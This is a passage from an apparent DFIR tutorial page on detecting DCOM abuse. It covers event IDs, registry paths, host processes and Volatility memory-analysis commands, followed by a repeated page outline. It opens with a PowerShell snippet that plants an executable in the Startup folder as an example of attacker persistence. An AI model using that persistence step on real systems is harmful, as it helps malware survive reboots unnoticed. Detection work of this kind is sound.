$Startup = $Shell.Namespace(0x7)  # Startup folder
$Startup.CopyHere("C:\malicious.exe")

Persistence Mechanism: The executable will run every time the system starts

How To Detect persistence using DCOM

Indicators of Compromise (IoCs):

Scheduled Task Creation: Using COM objects such as Schedule.Service to register tasks persistently.
Malicious CLSIDs or AppIDs: Modified or newly added entries in the registry.
Abuse of Known DCOM Objects:
- Objects like Shell.Application, MMC20.Application, or others being invoked for persistence

Monitor Scheduled Task Creation via DCOM

Event Log Analysis

Look for events indicating scheduled task creation:
- Event ID 4698 (Scheduled Task Created): Indicates a task was registered.
- Event ID 4700 (Scheduled Task Enabled): Indicates a task was enabled.
- Event ID 4701 (Scheduled Task Updated): Indicates a task was modified.
- Event ID 1 (Process Creation)
  - Detect child processes spawned by DCOM host processes like dllhost.exe

Monitor DCOM Object Usage for Task Scheduler via Power shell

Look for PowerShell Event Code 4104 and 4103 in order to find scripts that were used and tools such as wmic...... or scripts invoking Schedule.Service to create tasks. ]

Monitor Registry Modifications for DCOM Persistence

Detect Changes in CLSID/AppID Entries

Registry Paths to Monitor:
- HKCR:\CLSID\{GUID}\InprocServer32
- HKCR:\AppID\{GUID}
- HKCU:\Software\Classes\CLSID\{GUID}
- HKLM:\Software\Classes\CLSID\{GUID}
Registry Event IDs
- Event ID 4657 (Registry Value Modified)
- Event ID 13 ( Registry Event Value Set ) : Indicates Registry value modifications.
- Event ID 12 ( Registry Event Object create and delete ) : Indicates key and value create and delete operations map to this event type
- Event ID 4663 ( An attempt was made to access an object) : Indicates a process attempt to access a object could be a file or registry object
- Event ID 4662 ( An operation was performed on an object ) : Indicates a operation was preformed on object could be file or registry

Key Indicators of DCOM Abuse in Memory

Suspicious Processes Hosting COM Objects

DCOM-related abuse typically uses legitimate processes like:

dllhost.exe
explorer.exe
svchost.exe
mmc.exe

Memory Indicators:

Abnormal child processes spawned by these host processes.
Loaded modules (DLLs) that are not usually associated with the process.
In-memory execution of malicious payloads (e.g., PowerShell scripts or encoded commands).

Analyze Loaded Modules:

Look for suspicious DLLs in processes that host DCOM objects (dllhost.exe, etc.).
Malicious DLLs might not match their expected file path or might be unnamed.
Common Indicators:
- Modules loaded from unusual locations (e.g., %TEMP% or %APPDATA%).
- Modules with no digital signature.
- Modules with abnormal names or GUIDs (linked to CLSIDs)

Detect In-Memory PowerShell or Shell Commands

Fileless malware using DCOM often executes PowerShell or shell commands in memory without writing to disk.

Detection Steps:

Analyze Command History:
- Check memory for encoded or obfuscated PowerShell commands.
- Look for /c or /k arguments in shell commands.
- Examine script block logs or execution traces in memory.
Suspicious Commands:
- Commands starting with powershell -EncodedCommand.
- Base64-encoded payloads or scripts.
- Connections to remote hosts or downloading scripts.

List Active COM Objects:
- Extract the list of CLSIDs registered to processes in memory.
- Check for anomalous or unexpected CLSIDs.
Look for Abused CLSIDs:
- MMC20.Application (for executing commands).
- Shell.Application (for lateral movement or shell commands).
- Schedule.Service (for task scheduling abuse)

Use memory analysis tools to detect signs of DCOM abuse in memory:

Tools and Techniques:

Volatility3 Framework:

1.List DLLs Loaded by Processes:

Plugin: dlllist – List DLLs loaded in suspicious processes.
Plugin: cmdscan or consoles – Find in-memory shell commands.
Plugin: handles – Check for COM object handles (CLSID) or abnormal RPC handles.

Example: Detect abnormal DLLs in dllhost.exe:

vol.py -f memory.dmp  windows.dlllist | grep dllhost.exe

Focus on processes like:

dllhost.exe
explorer.exe
svchost.exe
mmc.exe
Why These Processes?
These processes are often targeted because:
1. Legitimacy: These are legitimate, trusted Windows processes, reducing the likelihood of raising immediate suspicion.
2. COM and DCOM Interactions: They are heavily involved in the operation of COM objects, making them attractive for DCOM abuse
3. Those processes (dllhost.exe, explorer.exe, svchost.exe, and mmc.exe) host and interact with COM and DCOM objects

Search for Handles Linked to CLSIDs:

Use the handles plugin to look for Type: Key entries related to CLSIDs.

vol.py-f memory.dmp  windows.handles

Look for COM-related handles in processes known to abuse DCOM (e.g., dllhost.exe or mmc.exe).

Detect in-memory PowerShell scripts:
```
vol.py -f memory.dmp  windows.cmdscan
```

4. Inspect CLSIDs in Memory:

Use the strings command to search for CLSIDs directly in memory.

strings memory.dmp | grep -i "{CLSID}"

Replace {CLSID} with specific CLSIDs like:
- {F971F7A7-530D-4D59-9F98-7E0092ECA3C5} (Shell.Application)
- {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} (Schedule.Service)
- {DAB807E5-6D8C-4A8C-907D-49A0E6B1EFC3} (Remote COM for tasks).

Extract CLSID References in Processes:

Use Volatility's procdump plugin to dump memory of processes like dllhost.exe or mmc.exe.

vol.py -f memory.dmp --profile=<profile> procdump -p <pid> -D output/

Analyze the dumped memory for strings containing CLSIDs using:
```
bashCopy codestrings output/<process>.dmp | grep -i "{"
```
Look for Specific Abused CLSIDs:
- Search for known abusive CLSIDs in memory dumps:
  - {F971F7A7-530D-4D59-9F98-7E0092ECA3C5} – Shell.Application (lateral movement).
  - {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} – Schedule.Service (task scheduling).
  - {49B2791A-B1AE-4C90-9B8E-E860BA07F889} – WMI-related COM

PreviousKey Email Headers for SOC Analysts and DFIR Nextlegitimate Windows processes

Last updated 5 months ago

What is DCOM ?

Key Features of DCOM

what is the difference between COM and DCOM :

Lets try to break down more

How it works

Real-Life Example:

Tools and Techniques Used :

When Would an Attacker Use DCOM Over Other Methods ?

Common Ways Attackers Abuse DCOM :

lets see first

1. Lateral Movement

Key Points for Using DCOM Post-Lateral Movement

1. Abusing DCOM for Lateral Movement

Example: Using Excel.Application DCOM Object

How to Detect Lateral Movement via DCOM

Indicators of Compromise (IoCs):

3. Fileless Malware Using DCOM

3.Malware Abusing DCOM

2. Remote Code Execution (RCE)

Using WMIC for DCOM Remote Execution

How to Detect Remote Code Execution via DCOM

Indicators of Compromise (IoCs):

3.How Attackers Use DCOM for Persistence

1. Scheduled Task Creation

Here a real scenario

2. WMI and COM Persistence

3. Registry Manipulation via COM

4. Malicious DLL Loading via COM Objects

5. Startup Entries via DCOM Interfaces

How To Detect persistence using DCOM

Indicators of Compromise (IoCs):

Monitor Registry Modifications for DCOM Persistence

Key Indicators of DCOM Abuse in Memory

Suspicious Processes Hosting COM Objects

Detect In-Memory PowerShell or Shell Commands

Why These Processes?

What is DCOM ?

Key Features of DCOM

what is the difference between COM and DCOM :

Lets try to break down more

How it works

Real-Life Example:

Tools and Techniques Used :

When Would an Attacker Use DCOM Over Other Methods ?

Common Ways Attackers Abuse DCOM :

lets see first

1. Lateral Movement

Key Points for Using DCOM Post-Lateral Movement

1. Abusing DCOM for Lateral Movement

Example: Using Excel.Application DCOM Object

How to Detect Lateral Movement via DCOM

Indicators of Compromise (IoCs):

3. Fileless Malware Using DCOM

3.Malware Abusing DCOM

2. Remote Code Execution (RCE)

Using WMIC for DCOM Remote Execution

How to Detect Remote Code Execution via DCOM

Indicators of Compromise (IoCs):

3.How Attackers Use DCOM for Persistence

1. Scheduled Task Creation

Here a real scenario

2. WMI and COM Persistence

3. Registry Manipulation via COM

4. Malicious DLL Loading via COM Objects

5. Startup Entries via DCOM Interfaces

How To Detect persistence using DCOM

Indicators of Compromise (IoCs):

Monitor Registry Modifications for DCOM Persistence

Key Indicators of DCOM Abuse in Memory

Suspicious Processes Hosting COM Objects

Detect In-Memory PowerShell or Shell Commands

Why These Processes?